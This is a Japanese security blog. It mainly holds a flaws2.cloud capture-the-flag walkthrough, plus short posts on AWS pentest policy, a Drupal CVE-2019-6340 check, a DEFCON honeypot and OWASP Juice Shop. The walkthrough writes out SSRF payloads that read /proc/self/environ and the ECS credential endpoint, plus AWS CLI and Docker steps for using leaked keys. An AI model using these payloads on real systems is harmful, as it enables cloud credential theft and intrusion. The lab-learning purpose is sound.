flaws2.cloudのWriteupを書いたよ!

 皆さん今日は! 今年の夏は日本にいるので、TLに流れてくるラスベガスで楽しんでいるセキュリティクラスタの友人達のつぶやきをうらやましげに眺めているとある診断員です。 色々忙しくて、めちゃくちゃ久々のブログ更新になってしまいました…。

 もう随分前になっちゃいますが、今年3月に開催したJAWS DAYS 2019にて、仲の良いPentesterの有志にて、AWSの認証情報に対する攻撃手法や防御策などに関するセッション行いました。 近年日本でもAWSを利用している環境は非常に多く、個人的にも診断対象としてAWSを相手にする機会が多かったため、ちょっと前から有志と一緒にAWSのセキュリティや攻撃手法などについて調査をしていました。 調査して色々学んだことをまとめて発表したのがこちらのスライドになりますので、宜しければ是非ご覧ください。

PenTesterが知っている危ないAWS環境の共通点

 さて、AWSセキュリティについて調査をする中で個人的にも非常に勉強になったのが、Scott Piper氏(@0xdabbad00)が提供しているflaws.cloudというサイトです。

flAWS

 このサイトでは、CTFのようなセキュリティゲームとなっていて、AWS固有の発生しがちなセキュリティ問題に関して学べるサイトとなっています。 また、ヒントや解説などもちゃんとのっているので、基本的にはそれを読んでいけば必ず問題が解けるようになっています。 実際に手を動かして、一体何が問題であるのかを学習することができるため、非常に勉強になりました。 何より楽しく勉強できる所が良いですね!

 また、ほんとについ最近の話題ですが、Capital Oneにおいて、AWS環境においてSSRFの脆弱性を利用されて不正アクセスされてしまうという事案がありました。
SSRF攻撃によるCapital Oneの個人情報流出についてまとめてみた - piyolog

 SSRFを利用してクラウドサービスのクレデンシャル情報を取得されてしまう手法については、以前よりバグバウンティ界隈などでは非常に有名な話であり、↑のスライドにも記載しています。 flaws.cloudではこちらの事案と全く同じようなシナリオを体験して学習することができます。

 そして、以前からこのサイトを皆でワイワイやったら楽しそうだなと思っていたので、細かい部分などを解説する資料を作って、先日OWASP Sendai ミーティングにお邪魔させていただきハンズオン形式で進めていくイベントを開催してみました!
第36回OWASP Sendai ミーティング - connpass

 こちらの資料は修正してその内改めて公開する予定です(仙台では思ったよりも好評だったので、ニーズがあればもしかしたら東京でも開催するかもしれませんw)。 なお、flaws.cloudについては多数のwriteupが公開されており、日本語の記事ですと@kou_ei_さんが書かれている以下のQiitaの記事が非常に参考になります。

AWSセキュリティ学習サイトflaws.cloudのwriteup 前編 - Qiita

AWSセキュリティ学習サイトflaws.cloudのwriteup 中編 - Qiita

AWSセキュリティ学習サイトflaws.cloudのwriteup 後編 - Qiita

まだ、やったことがない方は是非チャレンジしてみてください!

続編があります。

 さて、ここからがある意味今回の記事の本題なのですが、flaws.cloudには実は続編となるflaws2.cloudがあります。

flAWS2.cloud

 flaws2.cloudは前作と同様にAWS固有のセキュリティ問題をゲーム形式で学べるサイトです。前作との最大の違いは、Attacker SideとDefender Sideの二つの経路があり、Defender SideはAWSにおけるインシデントレスポンスの作業を体験できるようなものになっています。(チュートリアルに従ってコマンドを打っていくようなスタイルです)。ちなみに前作のflaws.cloudにて学んだ技術を色々使ったりするので、まずそちらをやってからチャレンジすることをお勧めします。また、flaws.cloudは既に攻略していて、未トライの方は是非チャレンジしてみたらいかがでしょうか?

 私はこちらのサイトでも勉強してみたのですが、flaws2.cloudについては日本語の解説記事が見つかりませんでした(見落としているかもしれないのでもしあれば教えてください!)。 もしかしたら多少ニーズがあるのかなと思いましたので折角なので今回は、flaws2.cloudのAttacker SideについてのWriteUPを書こうと思います。ちなみに問題数は前作は6問でしたが、flaws2は全3問です。また、AWSだけではなくdockerなどについても勉強できる内容となっています。

Level1

f:id:tigerszk:20190809131934p:plain

 問題文を読むと以下のようなことが書いてあります。

  • 正しいPINコードを入力する必要があります。
  • 正しいPINコードは100桁だから、ブルートフォースとかは意味ないよ!

 とりあえず、適当な数字を入力すると「Code must be a number」とポップアップが上がります。 数字以外はダメみたいですね。HTMLのソースコードを見てみると以下のようなJavaScriptが書かれています。

  <script type="text/javascript">
                function validateForm() {
                    var code = document.forms["myForm"]["code"].value;
                    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                        alert("Code must be a number");
                        return false;
                    }
                }
            </script>

 お分かりのようにJSでフォームに入力された値が数字かどうかをチェックするバリデーションがされています。ということで、数字以外の文字列を入力したい場合には直接HTTPリクエストをブン投げれば良さそうですね。

 サブミットしているURLは以下なので

https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234

 試しに数字以外の適当に値を書き換えてアクセスしてみます。

https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abcd

 そうすると以下のようにエラー内容が出力されたレスポンスが返ってきます。

f:id:tigerszk:20190809133431p:plain

 内容を見ると環境変数の情報が出力されており、なんとクレデンシャル情報が出力されていることが分かります。 実際のサイトでこんなのがあったら大変危険ですね…。

 ここからは前作のflaws.cloudで出題されていた問題とほぼ同じ流れで解けます。 問題が出題されているドメイン「level1.flaws2.cloud」について調査すると

f:id:tigerszk:20190809133655p:plain

 S3を利用していることが分かり、バケット名は「level1.flaws2.cloud」であることも分かります。 URL経由ではS3にアクセスすることはできないようになっているので、取得したクレデンシャル情報を利用してAWS CLIでS3バケットにアクセスします。

f:id:tigerszk:20190809133835p:plain

 中身を見てみると、この問題のflagと思われるページのhtml名が分かるので、そこにアクセスすればクリアです!

 この問題は以下の内容を学ぶ目的のものだったようです。

 私自身はまだ遭遇した経験はないのですが、知り合いのセキュリティエンジニアの方からはアプリケーションエラー画面にて環境変数が出力されており、そこ経由でクレデンシャルを取得できたというお話を聞いたことがあったので、このシナリオは現実にも起きうる問題とだと思っています。

Level2

 続いてはLevel2です。

f:id:tigerszk:20190809134644p:plain

  • 問題文に記載されているURLではコンテナが動作している。
  • S3バケットと同じように、AWS上の他のリソースについても誰でもアクセスできるようすることはできる。
  • ECR(Elastic Container Registry)の名前は「level2」である。

 記載されている以下のURLにアクセスするとBasic認証が要求されます。どうにかしてこの認証を突破しなければなりません。

 前作を攻略した方はBasic認証ピピンと来たかと思いますが、この問題のアプローチとしては、前作のLevel4に近い感じです。 なんらかの方法でサーバ内部に保管してあるBasic認証のパスワードを取得するといった感じです。前作との最大の違いは、問題文にも書いてありますが、この問題の環境はDockerコンテナで動作しているということです。

 ちなみにこの問題では以下の二つのAWSサービスが利用されています。

 問題文からも分かる通り、動作しているコンテナのDockerイメージはECR上にあることが推測されます。ということでまずは、Dockerイメージの情報を収集していきましょう。

 以下のAWS CLIでERCのリポジトリに登録されているDockerイメージの一覧を列挙することが可能です。リポジトリ名は問題文に指定されていたものを指定します。

list-images — AWS CLI 1.16.230 Command Reference

先ほど取得したlevel1のクレデンシャル情報を利用して以下を実行するとDockerイメージの情報を取得することができます。

aws ecr list-images --repository-name level2 --profile level1で取得したクレデンシャルのプロファイル名

 実行すると、ECR上のリポジトリに登録されているDockerイメージの情報を確認することができました。

f:id:tigerszk:20190809135159p:plain

 公式の解説によると、ここからのアプローチは以下の二つのパターンを想定しているようです。

1.Dockerコマンドを利用してこのDockerイメージをダウンロードして解析する
2.AWS CLIを使用してゴリゴリやる

 私は、前者の方法でこの問題を解きましたので、今回はそちらを解説したいと思います。 2番の方法が気になる方はヒントのリンクをたどっていって、公式の解説をご覧ください。

 ECRから、docker pullコマンドを利用してdockerイメージをダウンロードする方法については以下に記載されています。

イメージのプル - Amazon ECR

 プルする場合には上記にも書いてある通り引数としてregistry/repository[:tag]を指定する必要があります。 今までの情報からrepository[:tag]はlevel2:latestと判明しているので、後はregistryを正しく指定する必要があります。

 ECRレジストリのURLの構成要素は以下のようになっています。

https://AWSアカウントID.dkr.ecr.リージョン名.amazonaws.com

【参考】Amazon ECR レジストリ - Amazon ECR

 リージョンはLevel1のレスポンスの結果よりus-east-1であることが推測されます。 ということで後はAWSアカウントIDを調べるだけでよさそうです。そちらは前作でも利用しましたが、以下のコマンドでアカウントに紐づく情報を取得することができます。

aws sts get-caller-identity 

 以下は、level1で取得したクレデンシャル情報を指定して実行した結果です。

f:id:tigerszk:20190809135538p:plain

 AWSアカウントIDが653711331788であることが判明しました。ここまで取得した情報にてregistry/repository[:tag]の値は以下だと分かります。

653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

 以下コマンドを実行してローカル環境にDockerイメージをダウンロードします。

aws ecr get-login --profile level1のプロファイル名
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

 aws ecr get-loginを実行すると、レスポンスにdocker loginコマンドが表示されます。表示されたコマンドを実行して、Amazon ECR レジストリに対して Dockerクライアントを認証し、その後docker pullでイメージをダウンロードします。

f:id:tigerszk:20190809135755p:plain

 ここからはダウンロードしてきたDockerイメージを解析します。

dokcer historyコマンドを実施してイメージを変更履歴を見てみると、何やら興味深いコマンドが見えますねw

docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

f:id:tigerszk:20190809135932p:plain

 --no-trunオプションを指定すると隠れている部分も全部見えます。その結果、dockerfile内で以下のコマンドを実行しているのが分かるのでBasic認証のID・パスワードが判明します。

/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

 上記のID・パスワード利用してBasic認証後のページにアクセスすればクリアとなります!

 こちらの問題は以下の内容を学ぶ目的のものだったようです。

  • AWSのリソースを不特定多数に公開することの危険性
    ※ちなみに、ヒントや解説にECRのリポジトリはパブリックに公開しているような記載があるのですが、私が試した時には、情報の取得やイメージのpullにはlevel1のクレデンシャルが必要でした。level1のクレデンシャルを利用すれば上述したように普通に問題は解けます。
  • AWS ECRの仕様やdockerについて

 私は以前、AWS上でCTFを作成した時にECRを使ったことはあったのですが、仕様などについてはあまり意識していなかったので非常に勉強になりました。

Level3

 はい!そしていよいよ最後の問題です。

f:id:tigerszk:20190809155909p:plain

  • 前回の問題で利用したコンテナのWebサーバーでは、シンプルなプロキシが利用できます。

 問題文に書かれているようにURLパスに指定したURLにアクセスして、結果を表示するProxyとして動作しています。

 前作でも全く同じような設問がありましたし、この時点でピピンとくる方も多いと思います。 というわけでこの問題ではSSRFを利用します。

 SSRFについては、徳丸さんのブログが非常に分かりやすく解説されているのでお勧めです! SSRF(Server Side Request Forgery)徹底入門 | 徳丸浩の日記

 前作にもほぼ同じ問題が出題されていましたが、SSRFの脆弱性を利用してクレデンシャル情報を取得します。 一つポイントなのは、今回の環境はEC2ではないので、例えば以下のようなEC2で通るPayloadではクレデンシャル情報を取得できません。

http://169.254.169.254/latest/meta-data/iam/security-credentials/ロール名

 Proxyが動作しているコンテナはECSで動作をしています。ECSより一時的なIAMロールのクレデンシャルを要求する場合には以下内部APIへのアクセスとなります。

http://169.254.170.2/v2/credentials/GUID 

 ※GUIDの値はサーバ内における以下の環境変数に設定されています。
 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

【参考】タスク用の IAM ロール - Amazon Elastic Container Service

 では、環境変数の値を知るにはどうしたらよいでしょう? Linuxシステムであれば以下を参照することで環境変数を取得することができます。

/proc/self/environ

 というわけで、ここでもSSRFを利用してこの値を取得しに行きます。 fileスキーマを利用すれば、内部ファイルにアクセスすることができますのでこちらを利用します。

http://container.target.flaws2.cloud/proxy/file:///proc/self/environ

f:id:tigerszk:20190809141000p:plain

 環境変数の値が分かったので、GUIDの値が判明しました。これを組み合わせて、SSRFを利用して、内部APIに対してクレデンシャルを要求します。

http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/468f6417-4361-4690-894e-3d03a0394609

 このような感じで、見事にクレデンシャル情報を取得することができます。 f:id:tigerszk:20190809141317p:plain

 クレデンシャルを取得した後にどうするかというと、そこは前作と同様です。AWS CLIを利用して取得したクレデンシャル情報を利用してS3バケットの一覧を取得すると、ゴールのURLが分かります。

f:id:tigerszk:20190809141348p:plain

 こちらの問題は以下の内容を学ぶ目的のものだったようです。

  • EC2以外にもSSRFを利用してクレデンシャル方法を取得することができる

 なお、ECSにおけるSSRFについてはこちらの記事が参考になりました。
Privilege escalation in the Cloud: From SSRF to Global Account Administrator

 また、SSRFのテクニックなどについては以下にまとまっています。
PayloadsAllTheThings/Server Side Request Forgery at master · swisskyrepo/PayloadsAllTheThings · GitHub

最後に

 いかがでしたでしょうか?もしこのブログが、flaws2.cloudのサイトにて学習する方の何かのお役に立てば幸いです。 最後に、このような素晴らしいサイトを公開されているScott Piper氏にあらためて感謝したいと思います。 私は非常に楽しく学ばせていただきました!ありがとうございます。

AWS、侵入テスト申請やめるってよ

先日twitterを見ていたら、こんなつぶやきを拝見して、個人的に侵入テスト申請には色々思い入れのある身であるため、ビックリした「とある診断員」です。

このブログでもとりあげましたが、今までAWSペネトレーションテスト脆弱性診断などを実施する際に、AWS側への事前の申請が必要だったのですが、今回ポリシーの変更があったらしくどうやら不要になったようです。 ということで、私も自分で確認をしてみました。

Penetration Testing - Amazon Web Services (AWS)

現在日本語版サイトは、翻訳が間に合ってないようでまだ更新されてないようですが(2019/3/5確認)、英語版の方は記載内容がガラリと変わっています。

Effective immediately, AWS customers are welcome to carry out security assessments or penetration tests against their AWS infrastructure without prior approval for 8 services.

思いっきり、事前の承認なしに、テストやっていいよと書いてますね。 ちなみに日本語版のサイトの申請フォームはまだ起動しており、試しに申請してみた所AWSからちゃんと事前申請が不要になった旨の連絡がきました。 ポリシーの中身を見てみるとテストを許可されているサービスの一覧についても若干変わっているようです。

o Amazon EC2 instances, NAT Gateways, and Elastic Load Balancers
o Amazon RDS
o Amazon CloudFront
o Amazon Aurora
o Amazon API Gateways
o AWS Lambda and Lambda Edge functions
o Amazon Lightsail resources
o Amazon Elastic Beanstalk environments

明示されていないけど、個人的にも今まで申請したら通っていた経験のあるElastic Beanstalkなどが新たに追加されていますね。また、「 We're constantly updating this list」と記載しているので、今後も対象範囲が大きくなる可能性もありそうですね。

またTips for Security Testingの項目に

Testing IP Addresses – Because of the dynamic nature of a cloud environment, all IP addresses should be verified prior to the beginning of a test to ensure current ownership of the IP address.

とちゃんと書いてくれているところに個人的には好感が持てました。AWSをテストするときにこれはメッチャ重要ですね。

以前このブログでもとりあげたセキュリティ的なイベントでAWSを利用する際の申請がOther Simulated Eventsの項目になりますが、こちらについては引き続き事前申請が必要のようです。

競合するGCPやAzureは事前申請不要のスタイルをとっているため、その内AWSも不要にするのかなとは思っていましたが、今回めでたく事前申請は不要となったようです。 ということで、診断を実施する側、受ける側としても事前調整の手間が一つ減るため、個人的には歓迎すべき変更だと思っています。

Drupal の脆弱性 (CVE-2019-6340) に関して検証してみた

どうも、Drupalを一回も運用したことがないのに、インストールするのがどんどん早くなっていく、とある診断員です。 今回は先日PoCが公開されたDrupal脆弱性 (CVE-2019-6340) に関してちょこっと検証してみました。 折角なので検証した内容についてブログに記載をしておきます。

脆弱性に関する情報

脆弱性の種類

RCE(Remote Code Execution)です。リモートの攻撃者よりWebサーバの動作権限にて任意のコードを実行されてしまう危険性があります。

脆弱性の影響を受けるバージョン

  • Drupal 8.6.10 より前の 8.6 系のバージョン
  • Drupal 8.5.11 より前の 8.5 系のバージョン

脆弱性の影響を受ける条件

以下のようなREST API を利用するモジュールが有効になっている場合、影響を受けます。

  • RESTful Web Servicesモジュール
  • JSON:APIモジュール

上記モジュールについてはデフォルトでは無効です。 なお、Drupal 7系でも同様のモジュールが有効になっている場合は本脆弱性の影響を受けるようです。 また、Drupal 8.5 系より前の 8系のバージョンは、サポートが終了しており、今回のセキュリティに関する情報は提供されていません。

脆弱性の対策

脆弱性が対策されたバージョンへのアップグレード

また、該当モジュールの無効化でも対応可能です。

脆弱性が存在する原因

今回の脆弱性については以下Ambionics Security社のブログにて詳細が解説されています。

Exploiting Drupal8's REST RCE

上記ブログに書いてある通り、今回の脆弱性はOWASP Top 10 2017にもランクインしたいわゆる「安全ではないデシリアライゼーション」の問題に起因するものです。 「安全ではないデシリアライゼーション」については徳丸さんの以下の記事が参考になります。

安全でないデシリアライゼーション(Insecure Deserialization)入門 | 徳丸浩の日記

今回の脆弱性は、REST API経由にてJSON形式で定義された値にシリアライズ化されたデータを指定して送信した場合に、その値がそのままデシリアライズされてしまうこと利用して、任意のコードを実行するというものです。また、上記ブログにて記載している通り、当初はDrupal本家のSecurity advisoriesでは攻撃は「POST」や「PATCH」メソッド経由であるため、該当メソッドのリクエストを受け付けないようにすることが緩和策である旨の記載がされていましたが、それだけではなく、「GET」リクエストでも本攻撃は成立します。

参考サイト

https://www.drupal.org/sa-core-2019-003

https://www.drupal.org/psa-2019-02-22

Drupal の脆弱性 (CVE-2019-6340) に関する注意喚起

脆弱性の検証について

とりあえずPoCを試したり、攻撃リクエストなどを速攻確認したい場合には@knqyf263さんが公開してくれている素晴らしいdockerイメージがあるのでこちらを利用するのが良いと思います。

GitHub - knqyf263/CVE-2019-6340: Environment for CVE-2019-6340 (Drupal)

PoCの詳細はここには書きませんがcurlコマンドのみでお手軽に実行が可能です。 なお、自分でも環境を構築いたしましたが、今回の検証は現在のPoCが対応している8系にて実施しました。

環境構築について

脆弱性の影響を受けるバージョンのDrupalをインストール後、以下のモジュールを有効にする必要があります。

  • HAL
  • REST UI
  • RESTful Web Services
  • Serialization

f:id:tigerszk:20190228014712j:plain
モジュールのインストール

この内、REST UI モジュールはコアに組み込まれていない為、別途ダウンロードする必要があります。 モジュールを有効化すると、環境設定のウェブサービスに「REST」という項目が現れます。 そこから、「コンテンツ」の項目を有効にし、以下のように設定すればOKです。

f:id:tigerszk:20190228014324j:plain
RESTリソースの設定

なお、こちらの解説が参考になります。

RESTful Web Services と REST UIで始めるDrupal8 REST API入門 | Drupal専門の開発会社 Studio Umi

また、検証にはdrupal上のノードが必要なため、適当なコンテンツを追加する必要があります。

f:id:tigerszk:20190228015634j:plain
適当なコンテンツを追加しておく

PoCの実行結果

結論から言えば、手元でも以下のように、curlコマンドを利用してPoCを打ち込んだ所、任意のコマンドが実行されることを確認しています。以下はPoCにてidコマンドを実行した結果となります。

f:id:tigerszk:20190228015122j:plain
PoCの実行結果

現在のPoCを試していくつか分かったこととしては、GETリクエストでの実行では一度打ち込むとキャッシュに残ってしまうため連続で実行ができません(キャッシュをクリアすれば再度成功することは確認しています)。 POSTメソッドやPATCHメソッドで実行した場合には連続で試行できます。

デバッガでの解析

PoCの実行をデバッガを利用して解析した結果、以下のようにPoCにて送信したシリアライズ化された値が、LinkItem.phpのunserializeメソッドに渡っており、デシリアライズされたことが分かります。

f:id:tigerszk:20190228020846j:plain
PoCのデータがデシリアライズされている

PoCに含まれているシリアライズ化された値は、Ambionics Security社のブログにて書かれていますが、Drupal 8が内部にて利用しているGuzzleというHTTPクライアントライブラリを利 用して任意のコードを実行するものとなります。Guzzleのdestructor処理にて恐らくガジェットチェーンを利用して任意のコードを実行していると思われます。

f:id:tigerszk:20190228021022j:plain
guzzleのdestract処理が実行されている

対策済みバージョンでは?

脆弱性が対策済みである8.6.10で検証してみた結果、PoCを実行すると以下のような応答となり、コードが実行されないことを確認しています。

f:id:tigerszk:20190228023917j:plain
応答結果

デバッガで追跡した結果、対策として追加されたcheckForSerializedStringsメソッドに値が渡され、例外が発生していることがわかります。

f:id:tigerszk:20190228024515j:plain
checkForSerializedStringsメソッドに値が渡っている

所感

まず、今回の脆弱性は、前提条件としてデフォルトでは無効となっているモジュールが有効である環境のみが影響を受けるため、個人的にはDrupalgeddon 2(CVE-2018-7600)などよりかはまだマシなほうなのかなという印象を受けています。ただし、条件がそろってしまえば攻撃の実行は非常に簡単であり、危険度の高い脆弱性ではあることは間違いないので、注意が必要です。 また、単純に外部から受け渡された値を検証なしにデシリアライズしていることが問題であるため、「安全ではないデシリアライゼーション」の結構良い事例となるような脆弱性なのではないかと思いました。

PS

Ambionics Security社のブログに、記載しているシリアライズ化されたペイロードはPHPGGCというツールを利用して作成している旨がと書かれています。 このツールは指定したライブラリに対応したデシリアライズ処理を悪用するPHP用の攻撃ペイロードを自動生成してくれるもののようで、非常に面白そうなので、その内時間を見つけて調べてみようかなと思っています。

GitHub - ambionics/phpggc

ハニーポットについての小ネタ

久々にブログを投稿します。 というか、気づけばもう年末ですね。今年は自分が転職したこともあり色々バタバタしてしまって、あんまり個人ブログを更新できませんでした。。。 来年はもっとガシガシ小ネタなどを投稿していきたいと思っています。

さて、この記事はHoneypot Advent Calendar 2018の3日目の記事です。 実はハニーポットに関連するちょっとした小ネタがあり(といってもちょっと色々ショボくてお蔵入りとなったネタなのです…)、機会があればブログとか書きたいなーとは思っていたのですが、たまたま今年のHoneypot Advent Calendarを見かけて、丁度良いかなと思ってこのネタを書くために参加してみました!

DEFCONのアレ

もうホント今更ですが、今年の夏はBlack Hat & DEFCONに参加するためにラスベガスに行ってきました。 DEFCONの会場内ではCTFなど様々なセキュリティイベントが開催されていることは有名ですよね。 その中にWall of SheepというDEFCONの名物的なイベントがあるのですが皆さんご存知でしょうか?

https://www.wallofsheep.com/

このイベントはDEFCON会場内のフリーWi-Fiを利用して平文でクレデンシャル情報をやり取りしていた場合に、その情報をスクリーンに晒されてしまうというものです。目的としては無線LANセキュリティの啓蒙のために開催しているようです。

以前筆者の友人より、会場で意図的に平文でダミーのクレデンシャル情報をネットワークに流してみたらちゃんとスクリーンに表示されて、Tシャツをゲットしたという話を聞いており、次にDEFCONに参加する時は、面白そうだから自分もやってみようかなーと思っていたので、今回準備をしていきました。

結果としてはTwitterにも投稿しましたが無事「t.shindan」(診断太郎)という、脆弱性診断やっている人ならお馴染みのダミーアカウントのクレデンシャル情報を送信して、スクリーンに晒していただき、無事にミッションコンプリートできましたw f:id:tigerszk:20181203083811j:plain

ちなみに、私が会場で見ていた感じだと、晒されていたアカウントの大部分は恐らく私と同じように面白がって参加者が意図的に流したダミーのものっぽいのが多い印象ですが、中には「あれ…これもしかしたら本物じゃね?」ってものもありました。 公衆無線を利用する場合には、こういった盗聴の危険性があるため、VPNソフトなどの利用を推奨いたします。

ここからがハニーポットネタです。

さて、実はここからが本題です。 上記のように、イベント自体は楽しんで終わった感じでなのですが、参加する前に実はこんなことを考えていました。

「ああいうイベントのフリーWi-Fiなんだからイベント運営以外にも会場でパケットを盗聴している奴とかもいそうなわけで、もしそうだったら盗聴したクレデンシャル情報使ってアクセスしに来たりするのかな?どうせだったらハニーポットでも立ててお迎えしとく?w」

と、ベガスに行くちょっと前に突然閃き、そのノリで実は割と真面目に現地でハニーポットを構築して待ち構えていました。 今回はそっち側の話を書きます。 会場ではこんなことをやっていました。 f:id:tigerszk:20181203091453j:plain

上記の図のように、自分のラズパイを会場のWi-Fiスポットに接続して、そこからダミーのクレデンシャル情報を使って定期的に、インターネット側に構築したハニーポットに接続しにいくという感じです。

今回は以下三種類を用いて平文でクレデンシャル情報を送っていました。

送信したクレデンシャル情報は、8桁以上の大小英数字および記号を含むランダムなパスワードに設定しており、プロトコルごとにアカウントを分けていました。ちなみにt.shindan以外にもh.zeijyaku(脆弱花子)などのネタアカウントで送信していましたw 送っているパスワードは上記のように通常では推測が困難なものに設定しているため、

ハニーポットのサービスにログインが成功した=ネットワーク盗聴していた人が盗聴したクレデンシャル情報を利用して接続したことでログインが成功した

という感じになるわけです。

ハニーポットについてはUbuntu 16.04で以下のような構成のサーバを構築しました。

ハニーポットで待ち受けていたサービス

  • FTP
    vsftpdを利用して構築。ダミーアカウントはReadOnlyに制限し、ダミーコンテンツをダウンロードできるだけに設定。

  • Web
    Apacheを利用して構築。 ダミーコンテンツを配置した/admin/というディレクトリ配下に、ダミーアカウントで接続できるようにBasic認証を設定。 ダミーアカウントでログイン後、ダミーコンテンツをダウンロードできるだけの簡易的なWebアプリケーションをPHPで構築。

  • SSH
    CowrieにてSSHハニーポットを構築。
    GitHub - cowrie/cowrie: Cowrie SSH/Telnet Honeypot
    各ダミーアカウントでログインできるように設定。

時間もあまりなかったので上記のような簡単なものを構築しました。 Cowrieを仕掛けたのは、攻撃者がパスワードの使い回しなどを狙って、他サービスのクレデンシャル情報を利用して、SSHログインしてこないかなというのを期待した感じです。 FTPとかはLinuxアカウントでログインさせているケースとかも多いと思いますので、ワンチャンあるかなと思って仕掛けときました。 ちなみにダミーコンテンツは自動生成ジェネレーターなどを利用して割と本物っぽく作成した顧客データとか文書などを置いておきました。 ここら辺のデータを作るのが一番楽しかったですねw

ちなみにホントに直前に作り始めたので、DEFCON開催まで現地で睡眠時間削ってギリギリまで構築していました。 ホントにタダの悪ふざけなので、もっと前もって準備すりゃよかったと本気で後悔していました…w

結果は…?

DEFCONに滞在している最中はとりあえず、ラズパイの電源をいれっぱなしにした状態で練り歩いていました。 ちなみに、HTTPにもFTPと同じ頻度でアクセスしていたのに、Wall of SheepにはなぜかFTPユーザのアカウントしか晒されなかったんですよねー。 ここら辺は謎です。

イベント直後とかにアクセス来るかなと期待して毎日ログを確認していたのですが、全然アクセスが来ませんでした。 半ばあきらめ気味でしばらく放置していたのですが、1ヶ月半以上経過した9月28日に以下のようなFTPアクセスがありました。 f:id:tigerszk:20181203083849j:plain

やったようやくアクセスしに来てくれた!!
IPアドレスは黒塗りにしていますが、カナダのプロバイダが管理しているIPのようでした。

で、結局それ以外は、全然アクセスしてくれませんでしたwww

しかも、test.txtというドキュメント以外にもいくつかダミーコンテンツを置いていておもてなししていたのですが落としてくれませんでしたorz… これがこのネタがお蔵入りになった最大の理由です。 ちなみに既に本サーバは公開を停止しています。 まあ、一回だけアクセスしにきてくれただけでもホント良かったですけど。

ただ、もっと沢山のWi-Fiスポットで同じことをやったら、中にはファンキーな感じで遊びに来てくれる人もいるかもしれないので、もうちょっと作りこみをしてその内別の機会に日本の公衆無線とかでリトライしてみようかと思っています。 後、自分の思いつきでやったことなので、もう誰か同じようなことをとっくに研究とかでやられているんじゃないかなーと思っています(あんまり調べてません)。 というわけで、久々にハニーポットで遊んで面白かったです。 以前は良くハニーポットを運用して遊んでいたのですが、忙しくなって途中で運用辞めてしまってたんですよねー。 丁度森久さんが作成されているWOWHoneypotも試してみたいなーと思っていたので年末あたりにまたハニーポットを運用しはじめようかなと思っています。 以上、とある診断員が仕掛けたショボいハニーポットのお話でしたw

OWASP Juice Shopを触ってみた!

OWASP Connect始まりました。

久々にブログを投稿しますー。
先日、OWASP Connectという勉強会を開催いたしました。
OWASP Connect in Tokyo - connpass

この勉強会はOWASP Projectの活用事例や小ネタなどを共有していこうという目的で開催しています。OWASP ProjectをPRしていこうという有志メンバーにて立ち上げており、私もその一人です。現在の所、三か月に1度くらいの周期で開催できたら良いかなーと考えています。良くQiitaなどでもOWASP Project関連の投稿をされている方などをちらほらお見かけするので、よろしければ次回LTとかいかがでしょうか?使ってみたネタなど大歓迎ですw
Search result of “owasp” - Qiita

そもそもOWASPとは何ぞやという方は上野さんのこちらのスライドをどうぞ。
speakerdeck.com

今回私もちょっとした小ネタを発表させていただきました!こちらがスライドとなります。

www.slideshare.net

こちらのスライドに記載している「やられサイト」とは、予め脆弱性が作りこまれたサイトのことで、セキュリティの教育、ツールなどの検証、脆弱性のデモなどに良く用いられたりするものです。今回は最近ちらほら良い評判を聞いていたけど、恥ずかしながらまだ触ったことがなかったOWASP ProjectのやられサイトであるOWASP Juice Shopを取り上げてみました。また、その他の有名処のやられサイトについてもリンクを記載しておりますので、よろしければご覧ください。

OWASP Juice Shop Projectについて

折角なので、今回はスライドでもとりあげたOWASP Juice Shopについてブログを書こうと思います。以下はOWASP Juice Shop ProjectのWebページとGitHubページのリンクです。
OWASP Juice Shop Project - OWASP
GitHub - bkimminich/juice-shop: OWASP Juice Shop is an intentionally insecure webapp for security trainings written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

OWASP Juice Shopは、OWASP Top 10を中心としたWebアプリケーションの脆弱性が埋め込まれたサイトであり、課題を解きながらWebアプリケーションの脆弱性を学ぶことができます。

f:id:tigerszk:20180925145403j:plain OWASP Juice ShopのTOPページ f:id:tigerszk:20180925145453j:plain 課題が表示されているスコアボード

特筆すべきなのは、Node.js、Express、AngularJSで開発されている所であり、今風のモダンなWebアプリケーションのやられサイトとなっています。ホント今風のSPAなので、BurpやOWASP ZAPSpiderのような自動クローラーとは逆に相性が悪そうだなと思ったりしてます。使ったことないですが、OWASP ZAPのAjax Spiderとかならクローリングできたりするんですかね?BurpのSpiderも2.0でパワーアップしたようなので、クロールできるのか今度検証してみたいところです。また、7月のOWASP Nightでも発表がありましたが、有志の方が日本語訳をされているので、サイトメニューなども日本語対応されています。

立ち上げも非常に簡単で、LT時にデモしましたが、Herokuのアカウントを持っていれば、デプロイ後に速攻サイトが立ちあがるので非常に楽ちんです。ただ試すだけだったらこれが一番楽なのでおススメです。なお、Herokuで立ち上がっているデモ用ページも公開されています(脆弱性を試すのであれば、ご自分で作成ください!)。
https://juice-shop.herokuapp.com/#/search

自分のローカルにサイトを立てたい方は、dockerイメージも配布されていますので、そちらを利用するのが良いかと思います。以下を実行すれば、コンテナが起動します。

docker pull bkimminich/juice-shop
docker run --rm -p 3000:3000 bkimminich/juice-shop

そしてなんといっても、以下のようなしっかりとしたドキュメントが公開されているのが素晴らしいです。課題の進め方や解説なども載っています。
Pwning OWASP Juice Shop · GitBook (Legacy)

まず最初のステップは、課題のリストが載っているスコアボードを探すのが良いと思います。スコアボードのアクセス方法も課題の一つなので、ここに具体的なアクセスの方法については書きませんが、分からない方はHTMLソースなどを見てみると良いかもしれません。かく言う私も私もまだ、全ての課題には挑戦していないので、今度時間を作ってトライしてみようかなと思っています。

また、課題を解くことでFlagを表示させることができるCTFモードなる機能も存在しているようです。以下のようなCTF用の拡張ツールが公開されており、こちらを利用するとスコアサーバー(CTFd,FBCTFに対応)へインポートするデータの作成や共通のFlagデータが出力されるOWASP Juice Shopを簡単に立ち上げることができるようです。
juice-shop-ctf-cli - npm

上記ページのスクリーンショットがCTFdだったので、私はFBCTFのフレームワークで試してみました。作成したデータをインポートすればOWASP Juice Shopの問題が登録されています。 f:id:tigerszk:20180925145841j:plain

